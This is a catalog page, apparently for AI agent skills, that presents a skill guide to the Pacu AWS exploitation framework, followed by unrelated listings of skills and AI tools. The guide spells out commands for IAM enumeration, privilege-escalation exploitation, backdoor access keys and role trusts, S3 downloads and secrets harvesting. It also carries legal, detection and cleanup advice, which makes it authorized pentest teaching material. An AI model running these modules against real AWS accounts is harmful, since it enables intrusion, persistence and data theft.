exploiting-aws-with-pacu

mukul975/Anthropic-Cybersecurity-Skills

Модули Pacu для эскалации привилегий, персистентности и бэкдоров в AWS.

Звёзды36 321
Авторmukul975
Установок48

Установка

SKILL.md

Exploiting AWS with Pacu

Legal Notice: This skill is for authorized penetration testing and educational purposes only. Pacu performs active enumeration, privilege escalation, persistence, and backdooring against live AWS accounts. Run it ONLY against accounts you own or have explicit written authorization (scope/Rules of Engagement) to test. Many modules create durable changes (new IAM users, access keys, policies); track and remove everything. Unauthorized use is illegal under the CFAA and equivalent laws.

Overview

Pacu is the open-source AWS exploitation framework from Rhino Security Labs. It is the cloud-pentest analogue of Metasploit: a modular Python console that manages target sessions, enumerates an AWS account, identifies privilege-escalation paths, and executes persistence/backdooring/exfiltration modules — all backed by a local SQLite database that records every enumerated resource so modules can chain off one another's findings.

A Pacu engagement follows a consistent arc. You create a named session, load AWS keys (with set_keys or by importing from ~/.aws/credentials), confirm the identity with whoami, then enumerate IAM and the rest of the account. The flagship workflow is iam__enum_permissions followed by iam__privesc_scan, which checks the compromised principal against ~20 known AWS IAM privilege-escalation primitives (e.g. iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:PassRole + lambda:CreateFunction, sts:AssumeRole) and can auto-exploit them. Persistence modules such as iam__backdoor_users_keys mint a second access key on an existing user, and iam__backdoor_assume_role adds a trust to a role so the attacker can assume it later.

This skill covers installing Pacu, session and credential management, IAM enumeration, automated privilege-escalation scanning and exploitation, persistence/backdooring, and data access — every command and module name verified against the Rhino Security Labs project. Source: github.com/RhinoSecurityLabs/pacu.

When to Use

  • Conducting an authorized AWS cloud penetration test or red-team engagement
  • Assessing the blast radius of a single compromised IAM credential (privesc scanning)
  • Demonstrating persistence/backdoor techniques to drive remediation
  • Generating realistic attacker telemetry to test cloud detections (purple team)
  • Mapping an unfamiliar AWS account's IAM, EC2, S3, and Lambda exposure

Prerequisites

  • Pacu installed:<!-- -->
    python3 -m pip install -U pip
    python3 -m pip install -U pacu     # then run: pacu
    # or, preferred on Kali, with pipx:
    pipx install git+https://github.com/RhinoSecurityLabs/pacu.git
    # or Docker:
    docker run -it rhinosecuritylabs/pacu:latest
    
  • AWS access key/secret (and optional session token) for the in-scope target principal
  • A signed authorization / Rules of Engagement document defining scope
  • Python 3.9+ and outbound HTTPS to AWS API endpoints
  • AWS CLI installed for verification (aws sts get-caller-identity)

Objectives

  • Install Pacu and create an isolated engagement session
  • Load and validate target AWS credentials
  • Enumerate IAM permissions for the compromised principal
  • Identify and (where authorized) exploit privilege-escalation paths
  • Establish persistence via backdoor access keys and role trusts
  • Enumerate and access data in EC2, S3, and Secrets Manager
  • Export findings for reporting and ensure all artifacts are removed

MITRE ATT&CK Mapping

IDNameUse in this skill
T1078.004Valid Accounts: Cloud AccountsPacu operates as a valid AWS principal and abuses its permissions
T1098.001Account Manipulation: Additional Cloud Credentialsiam__backdoor_users_keys mints a second access key
T1098.003Account Manipulation: Additional Cloud Rolesiam__backdoor_assume_role / privesc via role policy changes
T1580Cloud Infrastructure Discoveryec2__enum, iam__enum_users_roles_policies_groups
T1530Data from Cloud Storages3__download_bucket retrieves S3 objects
T1552.005Unsecured Credentials: Cloud Instance Metadata APIEC2 IMDS credential abuse

Workflow

1. Launch Pacu and create a session

pacu
# In the Pacu console:
Pacu> set_keys
#   key alias  : engagement-target
#   access key : AKIA...
#   secret key : ...
#   session tok: (optional)

2. Confirm the identity you are operating as

Pacu> whoami
Pacu> run aws sts get-caller-identity     # or, outside Pacu: aws sts get-caller-identity

3. Enumerate IAM entities and the compromised principal's permissions

Pacu> run iam__enum_users_roles_policies_groups
Pacu> run iam__enum_permissions
Pacu> data IAM            # review what was collected into the session DB

4. Scan for privilege-escalation paths

iam__privesc_scan checks the principal against known AWS privesc primitives and lists viable methods.

Pacu> run iam__privesc_scan
# To attempt automated exploitation of a discovered method:
Pacu> run iam__privesc_scan --offline      # analyze without making changes

5. Establish persistence with a backdoor access key

Pacu> run iam__backdoor_users_keys --usernames target-user
# Add an assumable-role trust for long-term access:
Pacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user/attacker

6. Enumerate compute and storage

Pacu> run ec2__enum
Pacu> run s3__download_bucket --names target-bucket
Pacu> data S3

7. Harvest secrets

Pacu> run secrets__enum

8. Non-interactive execution (CI / scripted)

Pacu supports one-shot module execution from the shell.

pacu --session engagement --module-name iam__enum_users_roles_policies_groups --exec
pacu --session engagement --module-name s3__download_bucket \
     --module-args "--names target-bucket" --exec

9. Export findings and clean up

Pacu> data all > /dev/stdout         # review collected data
# Manually remove every backdoor created (record ARNs/key IDs first):
aws iam delete-access-key --user-name target-user --access-key-id AKIA_BACKDOOR
aws iam update-assume-role-policy --role-name target-role --policy-document file://original-trust.json

See scripts/agent.py to drive the enumerate->privesc flow non-interactively.

Tools and Resources

ResourcePurposeLink
Pacu GitHubSource, modules, wikihttps://github.com/RhinoSecurityLabs/pacu
Pacu module listPer-module documentationhttps://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
Rhino AWS privesc researchThe privesc primitives iam__privesc_scan checkshttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
AWS IAM docsPermission and policy referencehttps://docs.aws.amazon.com/IAM/latest/UserGuide/
CloudGoatVulnerable AWS lab to practice safelyhttps://github.com/RhinoSecurityLabs/cloudgoat

OPSEC and Detection Considerations

Pacu modules are noisy and durable; an operator must plan for both detection and cleanup:

  • iam__enum_permissions and iam__enum_users_roles_policies_groups generate a large burst of iam:List*/iam:Get* calls visible in CloudTrail and GuardDuty (Discovery:IAMUser/AnomalousBehavior).
  • iam__privesc_scan in non-offline mode can make state-changing calls (iam:CreatePolicyVersion, iam:AttachUserPolicy); use --offline for analysis only.
  • iam__backdoor_users_keys triggers iam:CreateAccessKey, and iam__backdoor_assume_role triggers iam:UpdateAssumeRolePolicy — both are high-signal persistence indicators that defenders alert on.
  • Record every artifact ID (access keys, policy versions, role-trust changes) so each can be reverted; orphaned backdoors are both an OPSEC failure and a real risk to the client.

Defensive Mitigations to Recommend

FindingRemediation
Over-permissive IAM principal (privesc path)Apply least privilege; scope iam:PassRole with conditions
iam:CreatePolicyVersion / SetDefaultPolicyVersion allowedRemove from non-admin roles
Long-lived access keysEnforce key rotation; prefer roles / short-lived STS creds
No detection on key creationAlert on CreateAccessKey / UpdateAssumeRolePolicy in CloudTrail

Key Module Reference

ModulePurpose
iam__enum_users_roles_policies_groupsEnumerate all IAM principals and policies
iam__enum_permissionsResolve the current principal's effective permissions
iam__privesc_scanIdentify (and optionally exploit) privesc paths
iam__backdoor_users_keysCreate a backdoor access key on a user
iam__backdoor_assume_roleAdd an attacker-controlled trust to a role
ec2__enumEnumerate EC2 instances, volumes, snapshots
s3__download_bucketDownload objects from an S3 bucket
secrets__enumEnumerate Secrets Manager / SSM parameters

Validation Criteria

  • <!-- -->Pacu installed and console launches
  • <!-- -->Engagement session created and keys loaded
  • <!-- -->Identity confirmed with whoami / sts get-caller-identity
  • <!-- -->IAM entities and current-principal permissions enumerated
  • iam__privesc_scan run and viable paths documented
  • <!-- -->Persistence module behavior demonstrated (in authorized scope)
  • <!-- -->EC2/S3/secrets enumeration completed
  • <!-- -->All created backdoors (keys, role trusts, policies) recorded and removed
  • <!-- -->Findings exported for the engagement report
  • <!-- -->No residual attacker artifacts remain in the account

Вставить в README

Ссылка на карточку для вашего README — без картинок и счётчиков.

[DarkPlay: exploiting-aws-with-pacu](https://darkplay.ru/ai/skills/mukul975-anthropic-cybersecurity-skills-exploiting-aws-with-pacu)

Описание

Использование модулей Pacu для повышения привилегий, персистентности и закладок в AWS.

Похожие скиллы и другие разделы каталога

Популярное в разделе «Скиллы»

Самые востребованные скиллов раздела по установкам и звёздам.

find-skillsvercel-labs · Помогает находить и устанавливать навыки агентов по запросам вроде «как сделать X»…
4 400 000 устан.
grill-memattpocock · Настойчивое интервью для доработки плана или дизайна.
1 600 000 устан.
hyperframesheygen-com · Обязательная точка входа для любых задач по видео, анимации и motion-графике в…
1 600 000 устан.
hyperframes-cliheygen-com · Цикл разработки HyperFrames CLI: init, add, render, preview, publish и другие команды.
1 600 000 устан.
agent-browservercel-labs · CLI для автоматизации браузера для ИИ-агентов: навигация по страницам, заполнение форм…
1 600 000 устан.
media-useheygen-com · Agent Media OS: единый навык для медиа в HyperFrames — BGM, SFX, изображения, голос, LUT.
1 500 000 устан.
hyperframes-registryheygen-com · Установка и подключение блоков реестра в композиции HyperFrames через add и catalog.
1 400 000 устан.
grill-with-docsmattpocock · Настойчивое интервью для доработки плана или дизайна, попутно создающее документацию (ADR…
1 300 000 устан.
improve-codebase-architecturemattpocock · Поиск в кодовой базе возможностей для углубления, визуальный HTML-отчёт о них и детальный…
1 300 000 устан.
tddmattpocock · Разработка через тестирование (TDD): red-green-refactor и интеграционные тесты.
1 300 000 устан.
Похожее в других разделах каталога

Соседние разделы каталога: возможно, нужный инструмент живёт там.

Agent Evaluatoraffaan-m · Оценивает результат агента по рубрике качества из 5 критериев (точность, полнота…
225 587 ★
Build Error Resolveraffaan-m · Специалист по устранению ошибок сборки и TypeScript. Используйте ПРОАКТИВНО при сбое…
225 587 ★
Code Architectaffaan-m · Проектирует архитектуру функций, анализируя существующие паттерны и соглашения кодовой…
225 587 ★
Conversation Analyzeraffaan-m · Анализ транскриптов диалогов для поиска поведения, которое стоит блокировать хуками.
225 587 ★
Cpp Build Resolveraffaan-m · Специалист по ошибкам сборки C++, CMake и линковки.
225 587 ★
Dart Build Resolveraffaan-m · Специалист по ошибкам сборки Dart/Flutter, зависимостей и build_runner.
225 587 ★
Django Build Resolveraffaan-m · Специалист по ошибкам Django: pip/Poetry, миграции, импорты, collectstatic.
225 587 ★
Docs Lookupaffaan-m · Получает актуальную документацию и примеры кода через Context7 MCP для вопросов по API и…
225 587 ★
E2e Runneraffaan-m · Специалист по E2E-тестам на Vercel Agent Browser и Playwright: генерация, запуск и…
225 587 ★
Flutter Revieweraffaan-m · Ревьюер кода Flutter и Dart: виджеты, управление состоянием, идиомы и архитектура.
225 587 ★

Лучшие ИИ-инструменты для генерации видео

Генерация видео

Подборка нейросетей для генерации и монтажа видео. Инструменты, которые превращают текст в готовые ролики, экономят часы на съемках и постпродакшне. Подходит для SMM-специалистов,

VEED.IOVeed
По запросу
5.0
MootionMootion
По запросу
5.0
FlyviFlyvi
Есть бесплатный тариф
4.9
Google Veo 3.1Google
Платно
4.9
Sora (OpenAI)OpenAI
Платно
4.9
PikaPika
Платно
4.9
captions space
Есть бесплатный тариф
4.8
Клайп
Есть бесплатный тариф
4.8
viralpulse.appViralpulse
По запросу
4.8
Viral Maker AIViral-maker
Есть бесплатный тариф
4.8

Лучшие ИИ-инструменты для генерации текста и копирайтинга

Генерация текста и копирайтинг

Подборка нейросетей для генерации текстов и копирайтинга. Сервисы, которые помогают создавать статьи, посты и рекламные объявления с нуля или по черновику, экономя часы рутинной ра

NeuroscribeNeuroscribe
Есть бесплатный тариф
5.0
GoGPTGogpt
По запросу
5.0
ChatsonicChatsonic
По запросу
4.9
НейроТекстерNeuro-texter
По запросу
4.9
ChatGPTOpenAI
По подписке
4.9
Редактум
Есть бесплатный тариф
4.8
ChadGPTChadgpt
По запросу
4.8
Cosmo ScribeCosmoscribe
Есть бесплатный тариф
4.8
Memo HelperCopilot33
По запросу
4.8
LibraChatLibrachat
Есть бесплатный тариф
4.8

Лучшие ИИ-инструменты для генерации изображений

Генерация изображений

Подборка нейросетей для генерации изображений от фотореализма до концепт-арта. Сервисы, которые экономят часы ручной работы, создавая визуал для блогов, рекламы и дизайна за минуты

MagviMagvi
По запросу
5.0
DALL-E 3OpenAI
По подписке
5.0
SupaLabSupalab
По запросу
5.0
Freestyling.aiFreestyling
Есть бесплатный тариф
4.9
ArtGeneration.meArtgeneration
Есть бесплатный тариф
4.9
BigjpgBigjpg
По запросу
4.9
Художник от VKVK
Бесплатно
4.9
Wonderink — ИИ-книги
Есть бесплатный тариф
4.8
Avato AI12ai
По запросу
4.8
Virton AIVirton
По запросу
4.8